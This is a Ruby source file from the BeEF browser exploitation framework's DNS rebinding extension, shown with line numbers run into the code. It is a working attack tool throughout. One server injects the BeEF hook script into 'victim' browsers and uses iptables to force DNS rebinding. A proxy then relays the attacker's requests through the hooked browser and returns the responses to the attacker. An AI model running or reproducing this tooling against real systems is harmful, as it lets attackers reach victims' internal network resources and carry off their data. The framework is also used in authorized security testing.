Path: blob/master/extensions/dns_rebinding/dns_rebinding.rb
1154 views
module BeEF1module Extension2module DNSRebinding3# Very simple HTTP server. Its task is only hook victim4class Server5@debug_mode = false6def self.log(msg)7warn msg.to_s if @debug_mode8end910def self.run_server(address, port)11server = TCPServer.new(address, port)12@debug_mode = BeEF::Core::Configuration.instance.get('beef.extension.dns_rebinding.debug_mode')13loop do14s = server.accept15Thread.new(s) do |socket|16victim_ip = socket.peeraddr[2].to_s1718log "-------------------------------\n"19log '[Server] Incoming request from ' + victim_ip + "(Victim)\n"2021response = File.read(File.expand_path('views/index.html', __dir__))22configuration = BeEF::Core::Configuration.instance2324proto = configuration.get('beef.http.https.enable') == true ? 'https' : 'http'25hook_file = configuration.get('beef.http.hook_file')26hook_uri = "#{proto}://#{configuration.get('beef.http.host')}:#{configuration.get('beef.http.port')}#{hook_file}"2728response.sub!('path_to_hookjs_template', hook_uri)2930start_string = socket.gets31socket.print "HTTP/1.1 200 OK\r\n" +32"Content-Type: text/html\r\n" +33"Content-Length: #{response.bytesize}\r\n" +34"Connection: close\r\n"35socket.print "\r\n"36socket.print response37socket.close3839# Indicate that victim load all javascript and we can block it with iptables.40dr_config = configuration.get('beef.extension.dns_rebinding')41if start_string.include?('load')42log "[Server] Block with iptables\n"43port_http = dr_config['port_http']44if BeEF::Filters.is_valid_ip?(victim_ip) && port_http.is_a?(Integer)45IO.popen(['iptables', '-A', 'INPUT', '-s', victim_ip.to_s, '-p', 'tcp', '--dport', port_http.to_s, '-j', 'REJECT', '--reject-with', 'tcp-reset'],46'r+') do |io|47end48else49print_error '[Dns_Rebinding] victim_ip or port_http values are illegal.'50end51end52log "-------------------------------\n"53end54end55end56end5758class Proxy59@queries = Queue.new60@responses = {}61@mutex_responses = nil62@mutex_queries = nil63@debug_mode = false6465def self.send_http_response(socket, response, heads = {})66socket.print "HTTP/1.1 200 OK\r\n"6768headers = {}69headers['Content-Type'] = 'text/html'70headers['Content-Length'] = response.size.to_s71headers['Connection'] = 'close'72headers['Access-Control-Allow-Origin'] = '*'73headers['Access-Control-Allow-Methods'] = 'POST, GET, OPTIONS'74headers['Access-Control-Expose-Headers'] = 'Content-Type, method, path'75headers['Access-Control-Allow-Headers'] = 'Content-Type, method, path'7677headers_a = heads.to_a78headers_a.each do |header, value|79headers[header] = value80end8182headers.to_a.each do |header, value|83socket.print header + ': ' + value + "\r\n"84end8586socket.print "\r\n"87socket.print response88end8990def self.log(log_message)91warn log_message if @debug_mode92end9394def self.read_http_message(socket)95message = {}96message['start_string'] = socket.gets.chomp97message['headers'] = {}98message['response'] = ''99c = socket.gets100while c != "\r\n"101name = c[/(.+): (.+)/, 1]102value = c[/(.+): (.+)/, 2]103message['headers'][name] = value.chomp104c = socket.gets105end106length = message['headers']['Content-Length']107if length108# Ruby read() doesn't return while not read all <length> byte109resp = socket.read(length.to_i)110message['response'] = resp111end112message113end114115def self.handle_victim(socket, http_message)116log "[Victim]request from victim\n"117log http_message['start_string'].to_s + "\n"118119if http_message['start_string'].include?('POST')120# Get result from POST query121log "[Victim]Get the result of last query\n"122123# Read query on which asked victim124query = http_message['start_string'][/path=([^HTP]+)/, 1][0..-2]125log '[Victim]asked path: ' + query + "\n"126127length = http_message['headers']['Content-Length'].to_i128content_type = http_message['headers']['Content-Type']129log '[Victim]Content-type: ' + content_type.to_s + "\n"130log '[Vicitm]Length: ' + length.to_s + "\n"131132response = http_message['response']133log "[Victim]Get content!\n"134135send_http_response(socket, 'ok')136socket.close137138log "[Victim]Close connection POST\n"139log "--------------------------------\n"140141@mutex_responses.lock142@responses[query] = [content_type, response]143@mutex_responses.unlock144elsif http_message['start_string'].include?('OPTIONS')145send_http_response(socket, '')146socket.close147log "[Victim]Respond on OPTIONS reques\n"148log "--------------------------------\n"149else150# Look for queues from beef owner151log "[Victim]Waiting for next query..\n"152while @queries.size == 0153end154155# Get the last query156@mutex_queries.lock157log "[Victim]Get the last query\n"158last_query = @queries.pop159log '[Victim]Last query:' + last_query.to_s + "\n"160@mutex_queries.unlock161162response = last_query[2]163send_http_response(socket, response, { 'method' => last_query[0], 'path' => last_query[1] })164log "[Victim]Send next query to victim's browser\n"165log "---------------------------------------------\n"166socket.close167end168end169170# Handle request from BeEF owner171def self.handle_owner(socket, http_message)172log "[Owner]Request from owner\n"173path = http_message['start_string'][%r{(/[^HTP]+)}, 1][0..-2]174175if http_message['start_string'].include?('GET')176unless path.nil?177log '[Owner]Need path: ' + path + "\n"178@queries.push(['GET', path, ''])179end180elsif http_message['start_string'].include?('POST')181log "[Owner]Get POST request\n"182@queries.push(['POST', path, http_message['response']]) unless path.nil?183end184185# Waiting for response, this check should not conflict with thread 2186while @responses[path].nil?187end188189@mutex_responses.lock190log "[Owner]Get the response\n"191response_a = @responses[path]192@mutex_responses.unlock193194response = response_a[1]195content_type = response_a[0]196197send_http_response(socket, response, { 'Content-Type' => content_type })198199log "[Owner]Send response to owner\n"200log "-------------------------------\n"201socket.close202end203204def self.run_server(address, port)205@server = TCPServer.new(address, port)206@mutex_responses = Mutex.new207@mutex_queries = Mutex.new208@debug_mode = BeEF::Core::Configuration.instance.get('beef.extension.dns_rebinding.debug_mode')209loop do210s = @server.accept211Thread.new(s) do |socket|212http_message = read_http_message(socket)213if http_message['start_string'].include?('from_victim')214handle_victim(socket, http_message)215else216handle_owner(socket, http_message)217end218end219end220end221end222end223end224end225226227